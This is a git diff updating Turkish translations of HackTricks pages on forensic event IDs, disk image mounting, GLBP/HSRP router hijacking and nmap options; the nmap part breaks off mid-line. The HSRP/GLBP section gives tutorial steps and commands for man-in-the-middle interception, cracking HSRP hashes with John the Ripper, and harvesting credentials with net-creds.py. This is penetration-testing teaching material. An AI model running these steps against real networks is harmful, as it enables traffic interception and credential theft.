için 20001/20003/10000, sürücü güncellemeleri için 10100 ve cihaz takma zamanları için DeviceSetupManager'dan Olay Kimliği 112'yi içerir. +USB cihaz takibi için kullanışlı Sistem Olay Kimlikleri, başlangıçta kullanım için 20001/20003/10000, sürücü güncellemeleri için 10100 ve takma zamanları için DeviceSetupManager'dan Olay Kimliği 112'yi içerir. #### Sistem Güç Olayları EventID 6005, sistem başlangıcını gösterirken, EventID 6006 kapanışı işaretler. #### Günlük Silme -Güvenlik EventID 1102, günlüklerin silinmesini işaret eder, bu da adli bilişim analizi için önemli bir olaydır. +Güvenlik EventID 1102, günlüklerin silinmesini işaret eder, bu da adli analiz için kritik bir olaydır. -
+
{% embed url="https://websec.nl/" %}
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md b/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md index d574d00a3..b14e6f6a6 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md @@ -2,17 +2,17 @@
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! * **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** -* **Hacking püf noktalarınızı göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** üzerinden PR'lar gönderin. +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* **[💬](https://emojipedia.org/speech-balloon/) Discord grubuna** katılın veya [telegram grubuna](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak [hacktricks deposuna](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna](https://github.com/carlospolop/hacktricks-cloud) PR göndererek katkıda bulunun.**
-
+
{% embed url="https://websec.nl/" %} @@ -37,7 +37,7 @@ ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --descript ``` ### EWF -[**ewf araçları**](https://github.com/libyal/libewf) kullanarak bir disk imajı oluşturabilirsiniz. +Disk imajı oluşturmak için [**ewf araçları**](https://github.com/libyal/libewf) kullanabilirsiniz. ```bash ewfacquire /dev/sdb #Name: evidence @@ -58,7 +58,7 @@ ewfacquire /dev/sdb ### Çeşitli türler -**Windows** üzerinde, **forensik imajı bağlamak** için ücretsiz Arsenal Image Mounter'ın ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) ücretsiz sürümünü kullanabilirsiniz. +**Windows** üzerinde, **forensik görüntüyü bağlamak** için Arsenal Image Mounter'ın ücretsiz sürümünü deneyebilirsiniz ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)). ### Raw ```bash @@ -71,7 +71,7 @@ mount evidence.img /mnt ``` ### EWF -### EWF +EWF, or Expert Witness Format, is a file format used to store disk images. EWF files consist of two parts: the metadata information and the actual data. The metadata contains information about the acquisition process, while the data part contains the actual image of the disk. EWF files can be mounted using tools like ewfmount, which allows investigators to access the contents of the disk image without modifying the original data. ```bash #Get file type file evidence.E01 @@ -88,12 +88,12 @@ mount output/ewf1 -o ro,norecovery /mnt ``` ### ArsenalImageMounter -Windows Uygulamasıdır. Birimleri bağlamak için kullanılır. İndirebilirsiniz [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) +Windows Uygulamasıdır ve birimleri bağlamak için kullanılır. İndirebilirsiniz buradan [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) ### Hatalar * **`/dev/loop0 salt okunur olarak bağlanamaz`** bu durumda **`-o ro,norecovery`** bayraklarını kullanmanız gerekmektedir. -* **`yanlış fs türü, kötü seçenek, /dev/loop0 üzerinde kötü süper blok, eksik kod sayfası veya yardımcı program, veya diğer hata.`** bu durumda bağlantı, dosya sisteminin ofsetinin disk görüntüsünden farklı olmasından dolayı başarısız olmuştur. Sektör boyutunu ve Başlangıç sektörünü bulmanız gerekmektedir: +* **`yanlış fs türü, kötü seçenek, /dev/loop0 üzerinde kötü süper blok, eksik kod sayfası veya yardımcı program, veya diğer hata.`** bu durumda bağlamanın başarısız olduğu çünkü dosya sisteminin ofseti disk imajının ofsetinden farklıdır. Sektör boyutunu ve Başlangıç sektörünü bulmanız gerekmektedir: ```bash fdisk -l disk.img Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors @@ -106,11 +106,11 @@ Disk identifier: 0x00495395 Device Boot Start End Sectors Size Id Type disk.img1 2048 208895 206848 101M 1 FAT12 ``` -Sector boyutunun **512** ve başlangıcın **2048** olduğunu unutmayın. Ardından görüntüyü şu şekilde bağlayın: +Sektör boyutunun **512** ve başlangıcın **2048** olduğunu unutmayın. Ardından resmi şu şekilde bağlayın: ```bash mount disk.img /mnt -o ro,offset=$((2048*512)) ``` -
+
{% embed url="https://websec.nl/" %} @@ -118,10 +118,10 @@ mount disk.img /mnt -o ro,offset=$((2048*512)) Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* [**Resmi PEASS & HackTricks swag'ini alın**](https://peass.creator-spring.com) +* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'larınızı [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud)** gönderin. diff --git a/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md b/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md index 07b735aaa..2dd6ef5c0 100644 --- a/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md +++ b/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md @@ -2,35 +2,35 @@
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +AWS hacklemeyi sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. +* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
-
+
{% embed url="https://websec.nl/" %} -## FHRP Kaçırma Genel Bakış +## FHRP Kaçırma Genel Bakışı ### FHRP Hakkında Bilgiler -FHRP, birden fazla yönlendiriciyi tek bir sanal birimde birleştirerek ağın sağlamlığını sağlamayı amaçlayan bir protokol grubudur, böylece yük dağıtımı ve hata toleransı artırılır. Cisco Systems, bu pakette GLBP ve HSRP gibi önde gelen protokoller tanıttı. +FHRP, birden fazla yönlendiriciyi tek bir sanal birim haline getirerek ağın sağlamlığını sağlamayı amaçlayan bir protokol grubudur, böylece yük dağıtımı ve hata toleransı artırılır. Cisco Systems, bu pakette GLBP ve HSRP gibi önde gelen protokoller tanıttı. ### GLBP Protokolü Hakkında Bilgiler -Cisco'nun yarattığı GLBP, TCP/IP yığınında çalışır ve iletişim için UDP'yi 3222 numaralı portta kullanır. GLBP grubundaki yönlendiriciler 3 saniyelik aralıklarla "hello" paketleri alışverişi yaparlar. Bir yönlendirici bu paketleri 10 saniye boyunca göndermezse çevrimdışı olarak kabul edilir. Bununla birlikte, bu zamanlayıcılar sabit değildir ve değiştirilebilir. +Cisco'nun oluşturduğu GLBP, TCP/IP yığınında çalışır ve iletişim için UDP'yi 3222 numaralı portta kullanır. GLBP grubundaki yönlendiriciler, 3 saniyelik aralıklarla "hello" paketleri alışverişi yapar. Bir yönlendirici bu paketleri 10 saniye boyunca göndermezse, çevrimdışı olarak kabul edilir. Bununla birlikte, bu zamanlayıcılar sabit değildir ve değiştirilebilir. ### GLBP İşlemleri ve Yük Dağıtımı -GLBP, tek bir sanal IP ile birleştirilmiş birden fazla sanal MAC adresi kullanarak yönlendiriciler arasında yük dağıtımını sağlayarak öne çıkar. Bir GLBP grubunda, her yönlendirici paket iletimine dahil olur. HSRP/VRRP'nin aksine, GLBP şu mekanizmalar aracılığıyla gerçek yük dengelemesi sunar: +GLBP, tek bir sanal IP ile birleştirilmiş birden fazla sanal MAC adresi kullanarak yönlendiriciler arasında yük dağıtımını sağlayarak öne çıkar. Bir GLBP grubunda, her yönlendirici paket iletimine dahil olur. HSRP/VRRP'nin aksine, GLBP, şu mekanizmalar aracılığıyla gerçek yük dengelemesi sunar: -- **Ana Bilgisayara Bağımlı Yük Dengeleme:** Bir ana bilgisayara sürekli AVF MAC adresi atamasını korur, istikrarlı NAT yapılandırmaları için önemlidir. -- **Round-Robin Yük Dengeleme:** Varsayılan yaklaşım, isteyen ana bilgisayarlara AVF MAC adresi atamasını sırayla değiştirir. +- **Ana Bilgisayara Bağımlı Yük Dengeleme:** Bir ana bilgisayara sürekli AVF MAC adresi atamasını korur, bu, kararlı NAT yapılandırmaları için önemlidir. +- **Round-Robin Yük Dengeleme:** Varsayılan yaklaşım, talep eden ana bilgisayarlara yönelik AVF MAC adresi atamasını sırayla değiştirir. - **Ağırlıklı Round-Robin Yük Dengeleme:** Önceden belirlenmiş "Ağırlık" metriklerine dayalı olarak yükü dağıtır. ### GLBP'de Ana Bileşenler ve Terimler @@ -40,13 +40,13 @@ GLBP, tek bir sanal IP ile birleştirilmiş birden fazla sanal MAC adresi kullan - **GLBP Ağırlığı:** Bir yönlendiricideki mevcut yükü yansıtır, manuel olarak veya Nesne İzleme aracılığıyla ayarlanabilir. - **GLBP Sanal IP Adresi:** Bağlı tüm cihazlar için ağın varsayılan ağ geçidi olarak hizmet verir. -Etkileşimler için GLBP, ayrılmış 224.0.0.102 çoklu yayın adresini ve UDP portunu 3222 kullanır. Yönlendiriciler, 3 saniyelik aralıklarla "hello" paketleri gönderir ve bir paket 10 saniyelik bir süre içinde kaçırılırsa işlevsiz kabul edilir. +Etkileşimler için GLBP, ayrılmış 224.0.0.102 çoklu yayın adresini ve UDP portunu 3222 kullanır. Yönlendiriciler, 3 saniyelik aralıklarla "hello" paketleri iletimi yapar ve bir paket 10 saniyelik bir süre içinde kaçırılırsa işlevsiz kabul edilir. ### GLBP Saldırı Mekanizması -Bir saldırgan, en yüksek öncelik değerine (255) sahip bir GLBP paketi göndererek ana yönlendirici haline gelebilir. Bu, trafik yakalama veya yönlendirme izni veren DoS veya MITM saldırılarına yol açabilir. +Bir saldırgan, en yüksek öncelik değerine (255) sahip bir GLBP paketi göndererek ana yönlendirici haline gelebilir. Bu, trafik yakalama veya yönlendirme olanağı sağlayarak DoS veya MITM saldırılarına yol açabilir. ### Loki ile GLBP Saldırısı Gerçekleştirme -[Loki](https://github.com/raizo62/loki_on_kali), öncelik ve ağırlığı 255'e ayarlanmış bir paket enjekte ederek bir GLBP saldırısı gerçekleştirebilir. Saldırı öncesi adımlar, Wireshark gibi araçlar kullanarak sanal IP adresini, kimlik doğrulama varlığını ve yönlendirici öncelik değerlerini toplamayı içerir. +[Loki](https://github.com/raizo62/loki_on_kali), öncelik ve ağırlığı 255'e ayarlanmış bir paket enjekte ederek bir GLBP saldırısı gerçekleştirebilir. Saldırı öncesi adımlar, Wireshark gibi araçlar kullanılarak sanal IP adresi, kimlik doğrulama varlığı ve yönlendirici öncelik değerlerini toplamayı içerir. Saldırı Adımları: 1. Promiskü moduna geçin ve IP yönlendirmeyi etkinleştirin. @@ -57,7 +57,7 @@ Saldırı Adımları: 6. Tam trafik görünürlüğü için SNAT uygulayın. 7. İnternet erişimini orijinal AVG yönlendiricisi üzerinden devam ettirmek için yönlendirmeyi ayarlayın. -Bu adımları takip ederek, saldırgan kendisini ağ trafiğini, şifrelenmemiş veya hassas verileri içeren bir "adam ortasında" konumlandırabilir ve analiz edebilir. +Bu adımları takip ederek, saldırgan kendisini ağ trafiğini, şifrelenmemiş veya hassas verileri de içeren bir "orta adam" olarak konumlandırabilir ve analiz edebilir. Demonstrasyon için gereken komut parçaları aşağıda verilmiştir: ```bash @@ -73,19 +73,34 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo route del default sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` -### HSRP Saldırı Mekanizması -HSRP saldırıları, En Yüksek Öncelik değeri enjekte edilerek Aktif Yönlendirici'nin rolünü zorla ele geçirmeyi içerir. Bu, Man-In-The-Middle (MITM) saldırısına yol açabilir. Temel saldırı öncesi adımlar arasında HSRP kurulumu hakkında veri toplamak bulunur, bu da trafiği analiz etmek için Wireshark kullanılarak yapılabilir. +### HSRP Sızma Yöntemi Pasif Açıklaması ve Komut Detayları + +#### HSRP (Hot Standby Router/Redundancy Protocol) Genel Bakış +HSRP, ağ geçidi yedekliliği için tasarlanmış Cisco'ya ait bir protokoldür. Birden fazla fiziksel yönlendiriciyi paylaşılan bir IP adresine sahip tek bir mantıksal birim olarak yapılandırmayı sağlar. Bu mantıksal birim, trafiği yönlendirmekten sorumlu olan birincil yönlendirici tarafından yönetilir. GLBP'nin aksine, yük dengelemesi için öncelik ve ağırlık gibi metrikler kullanmaz, HSRP trafiği yönetimi için tek bir etkin yönlendiriciye dayanır. + +#### HSRP'de Roller ve Terimler +- **HSRP Etkin Yönlendirici**: Trafik akışını yöneten ağ geçidi olarak hareket eden cihaz. +- **HSRP Bekleme Yönlendirici**: Etkin yönlendirici başarısız olursa devralmaya hazır yedek yönlendirici. +- **HSRP Grubu**: Tek bir dayanıklı sanal yönlendirici oluşturmak için işbirliği yapan yönlendiriciler kümesi. +- **HSRP MAC Adresi**: HSRP yapılandırmasındaki mantıksal yönlendiriciye atanmış sanal MAC adresi. +- **HSRP Sanal IP Adresi**: Bağlı cihazlar için varsayılan ağ geçidi olarak hareket eden HSRP grubunun sanal IP adresi. + +#### HSRP Sürümleri +HSRP iki sürümde gelir, HSRPv1 ve HSRPv2, grup kapasitesi, çoklu yayın IP kullanımı ve sanal MAC adres yapısı açısından farklılık gösterir. Protokol, hizmet bilgileri alışverişi için belirli çoklu yayın IP adreslerini kullanır, Hello paketleri her 3 saniyede bir gönderilir. Bir yönlendiriciye 10 saniyelik bir süre içinde paket alınmazsa etkin olmadığı varsayılır. + +#### HSRP Saldırı Mekanizması +HSRP saldırıları, Etkin Yönlendirici'nin rolünü zorla alarak maksimum öncelik değeri enjekte etmeyi içerir. Bu, Man-In-The-Middle (MITM) saldırısına yol açabilir. Temel saldırı öncesi adımlar arasında HSRP yapılandırması hakkında veri toplamak yer alır, bu da trafiği analiz etmek için Wireshark kullanılarak yapılabilir. #### HSRP Kimlik Doğrulamasını Atlayan Adımlar 1. HSRP verilerini içeren ağ trafiğini .pcap dosyası olarak kaydedin. ```shell tcpdump -w hsrp_traffic.pcap ``` -2. .pcap dosyasından MD5 karmaşalarını hsrp2john.py kullanarak çıkarın. +2. .pcap dosyasından MD5 karma değerlerini hsrp2john.py kullanarak çıkarın. ```shell python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes ``` -3. John the Ripper kullanarak MD5 karmaşalarını kırın. +3. John the Ripper kullanarak MD5 karma değerlerini kırın. ```shell john --wordlist=mywordlist.txt hsrp_hashes ``` @@ -98,20 +113,20 @@ john --wordlist=mywordlist.txt hsrp_hashes sudo ip link set eth0 promisc on sudo sysctl -w net.ipv4.ip_forward=1 ``` -3. Loki'yi belirli yönlendiriciyi hedeflemek, kırılmış HSRP şifresini girmek ve Aktif Yönlendirici'yi taklit etmek için gerekli yapılandırmaları yapmak için kullanın. -4. Aktif Yönlendirici rolünü aldıktan sonra, ağ arayüzünü ve IP tablolarını yapılandırarak meşru trafiği engelleyin. +3. Loki'yi belirli yönlendiriciyi hedeflemek, kırılmış HSRP şifresini girmek ve Etkin Yönlendiriciyi taklit etmek için gerekli yapılandırmaları yapmak için kullanın. +4. Etkin Yönlendirici rolünü aldıktan sonra, ağ arayüzünü ve IP tablolarını yapılandırarak meşru trafiği engelleyin. ```shell sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE ``` -5. Trafik yönlendirmek için yönlendirme tablosunu değiştirin. +5. Trafik yönlendirmek için yönlendirme tablosunu değiştirin ve eski Etkin Yönlendirici üzerinden trafiği yönlendirin. ```shell sudo route del default sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` -6. Yakalanan trafiğe net-creds.py veya benzer bir yardımcı programı kullanarak kimlik bilgilerini yakalayın. +6. Yakalanan trafiğe ait kimlik bilgilerini almak için net-creds.py veya benzer bir yardımcı programı kullanın. ```shell sudo python2 net-creds.py -i eth0 ``` -Bu adımları uygulamak, saldırganı GLBP ele geçirmesi için yapılan işleme benzer bir şekilde trafiği engellemek ve manipüle etmek için bir konuma yerleştirir. Bu, HSRP gibi yedeklilik protokollerindeki zafiyeti ve sağlam güvenlik önlemlerine olan ihtiyacı vurgular. +Bu adımları uygulamak saldırganı, GLBP sızma yöntemi için yapılan işlemlere benzer şekilde trafiği engellemek ve manipüle etmek için bir konuma yerleştirir. Bu, HSRP gibi yedeklilik protokollerindeki zafiyeti ve sağlam güvenlik önlemlerine olan ihtiyacı vurgular. diff --git a/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md b/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md index 0fe6d8423..e8111867a 100644 --- a/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md +++ b/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md @@ -2,19 +2,19 @@
-AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Red Team Expert) ile! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'i desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.** +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
{% embed url="https://websec.nl/" %} ``` @@ -25,53 +25,53 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24 ### Taranacak IP'ler * **`,`:** IP'leri doğrudan belirtir -* **`-iL `:** list\_IPs +* **`-iL `:** IP listesi * **`-iR `**: Rastgele IP'lerin sayısı, olası IP'leri `--exclude ` veya `--excludefile ` ile hariç tutabilirsiniz. ### Ekipman keşfi -Nmap varsayılan olarak şunlardan oluşan bir keşif aşaması başlatır: `-PA80 -PS443 -PE -PP` +Nmap varsayılan olarak `-PA80 -PS443 -PE -PP` oluşan bir keşif aşaması başlatır. * **`-sL`**: İstilacı değildir, hedefleri listeler ve isimleri çözmek için **DNS** istekleri yapar. Örneğin www.prueba.es/24 gibi tüm IP'lerin hedeflerimiz olup olmadığını bilmek için faydalıdır. -* **`-Pn`**: **Ping yok**. Tümünün aktif olduğunu biliyorsanız (aksi halde çok zaman kaybedebilirsiniz, ancak bu seçenek aynı zamanda yanlış negatifler üretir ve aktif olmadıklarını söyler), keşif aşamasını engeller. -* **`-sn`** : **Port taraması yok**. Keşif aşamasını tamamladıktan sonra port taraması yapmaz. Nispeten gizli bir taramadır ve küçük bir ağ taramasına izin verir. Yetkilerle 80'e bir ACK (-PA), 443'e bir SYN(-PS) ve bir echo isteği ile bir Zaman damgası isteği gönderir, yetkiler olmadan her zaman bağlantıları tamamlar. Hedef ağ ise yalnızca ARP(-PR) kullanır. Başka bir seçenekle kullanıldığında, yalnızca diğer seçeneğin paketleri bırakılır. +* **`-Pn`**: **Ping yok**. Tümünün aktif olduğunu biliyorsanız (aksi halde çok zaman kaybedebilirsiniz, ancak bu seçenek aynı zamanda aktif olmadıklarını belirten yanlış negatifler de üretir), keşif aşamasını engeller. +* **`-sn`** : **Port taraması yok**. Keşif aşamasını tamamladıktan sonra port taraması yapmaz. Nispeten gizlidir ve küçük bir ağ taramasına izin verir. Yetkilerle 80'e bir ACK (-PA), 443'e bir SYN(-PS) ve bir echo isteği ve bir zaman damgası isteği gönderir, yetkisiz kullanıldığında her zaman bağlantılar tamamlanır. Hedef ağsa, yalnızca ARP(-PR) kullanır. Başka bir seçenekle kullanıldığında, yalnızca diğer seçeneğin paketleri bırakılır. * **`-PR`**: **Ping ARP**. Ağımızdaki bilgisayarları analiz ederken varsayılan olarak kullanılır, ping'leri kullanmaktan daha hızlıdır. ARP paketleri kullanmak istemiyorsanız `--send-ip` kullanın. -* **`-PS `**: Eğer SYN/ACK ile yanıtlarsa açıktır (bağlantıyı sonlandırmamak için RST ile yanıtlarsa), eğer RST ile yanıtlarsa kapalıdır ve yanıt vermezse ulaşılamazdır. Yetkileriniz yoksa, otomatik olarak bir toplam bağlantı kullanılır. Eğer portlar belirtilmemişse, 80'e gönderilir. +* **`-PS `**: Eğer SYN/ACK ile cevap veriyorsa açıktır (bağlantıyı sonlandırmamak için RST ile cevap verir), eğer RST ile cevap veriyorsa kapalıdır ve cevap vermiyorsa ulaşılamazdır. Yetkileri yoksa, otomatik olarak toplam bir bağlantı kullanılır. Eğer portlar belirtilmemişse, 80'e gönderilir. * **`-PA `**: Bir öncekiyle aynıdır ancak ACK ile, ikisini birleştirmek daha iyi sonuçlar verir. -* **`-PU `**: Amaçları zıttır, kapatılmış olması beklenen portlara gönderilir. Bazı güvenlik duvarları yalnızca TCP bağlantılarını kontrol eder. Eğer kapalıysa port ulaşılamaz yanıtı verilir, başka bir icmp ile yanıtlanırsa veya yanıt verilmezse hedef ulaşılamaz olarak bırakılır. +* **`-PU `**: Amaçları zıttır, kapatılması beklenen portlara gönderilir. Bazı güvenlik duvarları yalnızca TCP bağlantılarını kontrol eder. Eğer kapalıysa port ulaşılamaz ile cevap verir, başka bir icmp ile cevap verirse veya cevap vermezse hedef ulaşılamaz olarak bırakılır. * **`-PE, -PP, -PM`** : ICMP PING'ler: echo replay, zaman damgası ve adres maskesi. Hedefin aktif olup olmadığını öğrenmek için gönderilir. -* **`-PY`**: Varsayılan olarak 80'e SCTP INIT probeleri gönderir, INIT-ACK(açık) veya ABORT(kapalı) veya hiçbir şey veya ICMP ulaşılamaz(inaktif) yanıtı alabilir. -* **`-PO `**: Başlıkta bir protokol belirtilir, varsayılan olarak 1(ICMP), 2(IGMP) ve 4(Encap IP). ICMP, IGMP, TCP (6) ve UDP (17) protokolleri için protokol başlıkları gönderilir, geri kalanlar için yalnızca IP başlığı gönderilir. Amacı, başlıkların bozulmasından dolayı, Protokol ulaşılamaz veya aynı protokolün yanıtları alınarak yukarıda olup olmadığını bilmektir. +* **`-PY`**: Varsayılan olarak 80'e SCTP INIT probeleri gönderir, INIT-ACK(açık) veya ABORT(kapalı) veya hiçbir şey veya ICMP ulaşılamaz (etkin değil) ile cevap verebilir. +* **`-PO `**: Başlıkta bir protokol belirtilir, varsayılan olarak 1(ICMP), 2(IGMP) ve 4(Encap 